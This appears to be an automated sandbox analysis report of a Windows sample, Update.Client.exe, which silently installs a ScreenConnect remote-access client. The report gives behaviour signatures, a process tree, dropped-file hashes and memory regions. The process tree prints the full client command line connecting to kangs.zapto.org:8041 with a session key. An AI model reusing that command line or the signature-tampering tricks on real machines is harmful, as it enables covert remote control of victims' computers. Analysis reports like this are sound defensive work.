Analysis

  • max time kernel
    93s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/03/2025, 14:45

General

  • Target
    Update.Client.exe
  • Size 81KB
  • Sample250307-r4tpfssmv3
  • SHA256 e4491bc74740f7b77d2bf3db41e382b729f486b0bcb5dd0e05e7d01ee4cf83ae
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Manipulates Digital Signatures 1 TTPs 2 IoCs

    Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to obtain their binary as valid.

  • Sets service image path in registry 2 TTPs 1 IoCs
  • Downloads MZ/PE file 6 IoCs
  • Drops file in System32 directory 3 IoCs
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 16 IoCs
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 10 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Update.Client.exe
    "C:\Users\Admin\AppData\Local\Temp\Update.Client.exe"
    1⤵
    • Manipulates Digital Signatures
    • System Location Discovery: System Language Discovery
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:2196
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
      2⤵
      • Downloads MZ/PE file
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4616
      • C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe
        "C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe"
        3⤵
        • Executes dropped EXE
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:2956
        • C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe
          "C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=kangs.zapto.org&p=8041&s=210e492a-3b03-498e-9aad-524dc45ea564&k=BgIAAACkAABSU0ExAAgAAAEAAQBt8GydmSLuUL0rwf9arK5NYD7z7WrABmq8Uzh9zE31Q97LnDTxIZVwBMKTUsuKlLYpBn%2bf6X5fdIbD%2ftv5c%2fvLfwjvbw8EJbtsI40lfM%2fyIZXf4iGQ72nz000p%2fDoWJq0%2fot0u9HnMs7tIP%2b3iM4dIB%2fKqF4ljbFOTUIzo%2by%2f4uNqPdUjUDKkjwIS2RMRnDXymk2UuvwQXBvTx7Az8NN3f2YwOhqorGi%2b5f2RYPQl3FXcl7BQM2TmPkZp324mMjUJjOIMZEzQr%2fWLh6W%2bN5FPaBKOuV3ZZz4TcfKV%2bEwny%2bjRgRDf2%2f7I3CerXq8IdyGdJRk0PW4H8fV1kBmDpTGqh&r=&i=Untitled%20Session" "1"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:4804
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2196 -s 308
      2⤵
      • Program crash
      PID:4608
  • C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe
    "C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=kangs.zapto.org&p=8041&s=210e492a-3b03-498e-9aad-524dc45ea564&k=BgIAAACkAABSU0ExAAgAAAEAAQBt8GydmSLuUL0rwf9arK5NYD7z7WrABmq8Uzh9zE31Q97LnDTxIZVwBMKTUsuKlLYpBn%2bf6X5fdIbD%2ftv5c%2fvLfwjvbw8EJbtsI40lfM%2fyIZXf4iGQ72nz000p%2fDoWJq0%2fot0u9HnMs7tIP%2b3iM4dIB%2fKqF4ljbFOTUIzo%2by%2f4uNqPdUjUDKkjwIS2RMRnDXymk2UuvwQXBvTx7Az8NN3f2YwOhqorGi%2b5f2RYPQl3FXcl7BQM2TmPkZp324mMjUJjOIMZEzQr%2fWLh6W%2bN5FPaBKOuV3ZZz4TcfKV%2bEwny%2bjRgRDf2%2f7I3CerXq8IdyGdJRk0PW4H8fV1kBmDpTGqh&r=&i=Untitled%20Session" "1"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4484
    • C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe
      "C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe" "RunRole" "38e8ca0f-ab9f-4878-a0df-6a742a734fa0" "User"
      2⤵
      • Drops file in System32 directory
      • Executes dropped EXE
      PID:2692
    • C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe
      "C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe" "RunRole" "10c2ae8a-813a-45d7-a2e7-580c913e29ea" "System"
      2⤵
      • Drops file in System32 directory
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:4960
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 2196 -ip 2196
    1⤵
      PID:936

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92.cdf-ms

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\manifests\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92.cdf-ms
          • Size 24KB
          • SHA256 fce597db77e80e602597b74f8d7268ebf2e812dabf25ea8c963f3e6b1806acfb
          • MD5 SHA1 SHA512 SSDEEP

          scre..core_4b14c015c87c1ad8_0018.0003_none_5334f1fbfe91ad06.cdf-ms

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\manifests\scre..core_4b14c015c87c1ad8_0018.0003_none_5334f1fbfe91ad06.cdf-ms
          • Size 3KB
          • SHA256 cf392d77941dc8a39055d72617de826beae36e0dcc6851fc50fa8f94981899ea
          • MD5 SHA1 SHA512

          scre..dows_4b14c015c87c1ad8_0018.0003_none_57acc9dd3adfc036.cdf-ms

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\manifests\scre..dows_4b14c015c87c1ad8_0018.0003_none_57acc9dd3adfc036.cdf-ms
          • Size 5KB
          • SHA256 479803d9ba8c5154107d14e81d80cbc103d8e5b0d0008a62500ee922d1bda95f
          • MD5 SHA1 SHA512 SSDEEP

          scre..ient_4b14c015c87c1ad8_0018.0003_none_b47bcb1fe7759013.cdf-ms

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\manifests\scre..ient_4b14c015c87c1ad8_0018.0003_none_b47bcb1fe7759013.cdf-ms
          • Size 6KB
          • SHA256 88b5203b02c9efa11819e5d0965ec4a11115488a5e45319539d24bb800b70339
          • MD5 SHA1 SHA512 SSDEEP

          scre..ient_4b14c015c87c1ad8_0018.0003_none_e94a4fce0de1030a.cdf-ms

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\manifests\scre..ient_4b14c015c87c1ad8_0018.0003_none_e94a4fce0de1030a.cdf-ms
          • Size 2KB
          • SHA256 f2f64d068702ad4d6df87f4c820bdfb09e8c9d832e302a26c675e0996b584d68
          • MD5 SHA1 SHA512

          scre..tion_25b0fbb6ef7eb094_0018.0003_none_38bfca06a9457575.cdf-ms

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\manifests\scre..tion_25b0fbb6ef7eb094_0018.0003_none_38bfca06a9457575.cdf-ms
          • Size 14KB
          • SHA256 701e67d80870d5f711f40d8a2d4afaec70fa5268fb63171d3af3951299c7eda9
          • MD5 SHA1 SHA512 SSDEEP

          scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071.cdf-ms

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\manifests\scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071.cdf-ms
          • Size 4KB
          • SHA256 28a563a7c6514906e890614369ed034d104b6359dcd58219619c3bf55e5fd230
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.exe

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
          • MD5 SHA1 SHA512 SSDEEP

          Client.Override.en-US.resources

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\Client.Override.en-US.resources
          • Size 251B
          • SHA256 f8c6ffac6cb3413f082100c33adc6a644d92f43ce8412bfae72fad5a2659b5fe
          • MD5 SHA1 SHA512

          Client.Override.resources

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\Client.Override.resources
          • Size 320B
          • SHA256 52dffe148e32a52e24ea0f7451dc70afcc39cb69d690b117b08a09ecb7728eff
          • MD5 SHA1 SHA512

          Client.en-US.resources

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP

          Client.resources

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP

          app.config

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\app.config
          • Size 2KB
          • SHA256 7bc1d43e6460679714c6dd98b899dd2e2083409fd6b6453b553d76558afdd33c
          • MD5 SHA1 SHA512

          user.config

          • Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\user.config
          • Size 562B
          • SHA256 6fa5869cf3317e58a07bebb14419bed4eee736e559211dab1076066b620c486a
          • MD5 SHA1 SHA512

          ScreenConnect.WindowsClient.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log
          • Size 1KB
          • SHA256 3af88293fb19b74f43b351ed49ccc031727f389c7ca509eece181da5763a492f
          • MD5 SHA1 SHA512

          ScreenConnect.Client.dll

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Client.dll.genman

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.Client.dll.genman
          • Size 1KB
          • SHA256 f1bf5014656d836a4c5c42e7ed67ff368d1706c41082e1e4f33abf9cda09d647
          • MD5 SHA1 SHA512

          ScreenConnect.ClientService.dll

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.dll.genman

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.ClientService.dll.genman
          • Size 1KB
          • SHA256 276b0232a7c76292d34207f916966ea1bcd5cd7e1e1d9a2751c663f06e45b63c
          • MD5 SHA1 SHA512

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Core.dll.genman

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.Core.dll.genman
          • Size 1KB
          • SHA256 ac3c489c02264ff1918fc0b79083a7754b98542a6cc4e2af67eafdbf76c6232e
          • MD5 SHA1 SHA512

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Windows.dll.genman

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.Windows.dll.genman
          • Size 1KB
          • SHA256 d48afb709e61b86eb6eef67b41d0fa7ec780c4536f5cf9aca7a0b440aed98ef0
          • MD5 SHA1 SHA512

          ScreenConnect.WindowsBackstageShell.exe

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.WindowsBackstageShell.exe
          • Size 59KB
          • SHA256 e25f32ba3fa32fd0ddd99eb65b26835e30829b5e4b58573690aa717e093a5d8f
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.WindowsClient.exe
          • Size 588KB
          • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512

          ScreenConnect.WindowsClient.exe.genman

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.WindowsClient.exe.genman
          • Size 2KB
          • SHA256 8aa9dacc29faef7be40d54b45fba75afc13bf25638d9a46dc4b516529ae74619
          • MD5 SHA1 SHA512

          ScreenConnect.WindowsClient.exe.manifest

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.WindowsClient.exe.manifest
          • Size 17KB
          • SHA256 2e0e46f395d5a6440f179b61c4008abf3d72cfcda705a543c8ee18b41d37b025
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsFileManager.exe

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.WindowsFileManager.exe
          • Size 79KB
          • SHA256 ebd04a4540d6e76776bd58deea627345d0f8fba2c04cc65be5e979a8a67a62a1
          • MD5 SHA1 SHA512 SSDEEP

          827BWLRM.RCZ.application

          • Path C:\Users\Admin\AppData\Local\Temp\Deployment\HC8NZW8Q.QD8\827BWLRM.RCZ.application
          • Size 115KB
          • SHA256 d27d1439c1809ae8eda24f17c9ff9b50271a54d9f200a6793a406b86182b6552
          • MD5 SHA1 SHA512 SSDEEP

          memory/2692-415-0x00000000017C0000-0x00000000017D8000-memory.dmp

          memory/2956-350-0x00000000009D0000-0x0000000000A66000-memory.dmp

          memory/4484-400-0x0000000003E40000-0x0000000003FEA000-memory.dmp

          memory/4484-401-0x00000000045A0000-0x0000000004B44000-memory.dmp

          memory/4484-402-0x0000000003D50000-0x0000000003DA0000-memory.dmp

          memory/4484-405-0x0000000003DA0000-0x0000000003DD6000-memory.dmp

          memory/4484-406-0x0000000004090000-0x0000000004122000-memory.dmp

          memory/4616-48-0x00000214D9050000-0x00000214D90E6000-memory.dmp

          memory/4616-34-0x00007FFB8DDA0000-0x00007FFB8E861000-memory.dmp

          memory/4616-418-0x00007FFB8DDA0000-0x00007FFB8E861000-memory.dmp

          memory/4616-1-0x00000214BAAB0000-0x00000214BAAB8000-memory.dmp

          memory/4616-60-0x00000214D6AA0000-0x00000214D6AB8000-memory.dmp

          memory/4616-54-0x00000214D6AE0000-0x00000214D6B16000-memory.dmp

          memory/4616-0-0x00007FFB8DDA3000-0x00007FFB8DDA5000-memory.dmp

          memory/4616-42-0x00000214D9310000-0x00000214D94BA000-memory.dmp

          memory/4616-38-0x00007FFB8DDA0000-0x00007FFB8E861000-memory.dmp

          memory/4616-66-0x00000214D9040000-0x00000214D90CC000-memory.dmp

          memory/4616-30-0x00007FFB8DDA3000-0x00007FFB8DDA5000-memory.dmp

          memory/4616-29-0x00007FFB8DDA0000-0x00007FFB8E861000-memory.dmp

          memory/4616-7-0x00000214D6A50000-0x00000214D6AA0000-memory.dmp

          memory/4616-4-0x00007FFB8DDA0000-0x00007FFB8E861000-memory.dmp

          memory/4616-3-0x00007FFB8DDA0000-0x00007FFB8E861000-memory.dmp

          memory/4616-2-0x00000214D5020000-0x00000214D51A6000-memory.dmp

          memory/4804-387-0x00000000053F0000-0x000000000547C000-memory.dmp

          memory/4804-382-0x00000000052C0000-0x00000000052D8000-memory.dmp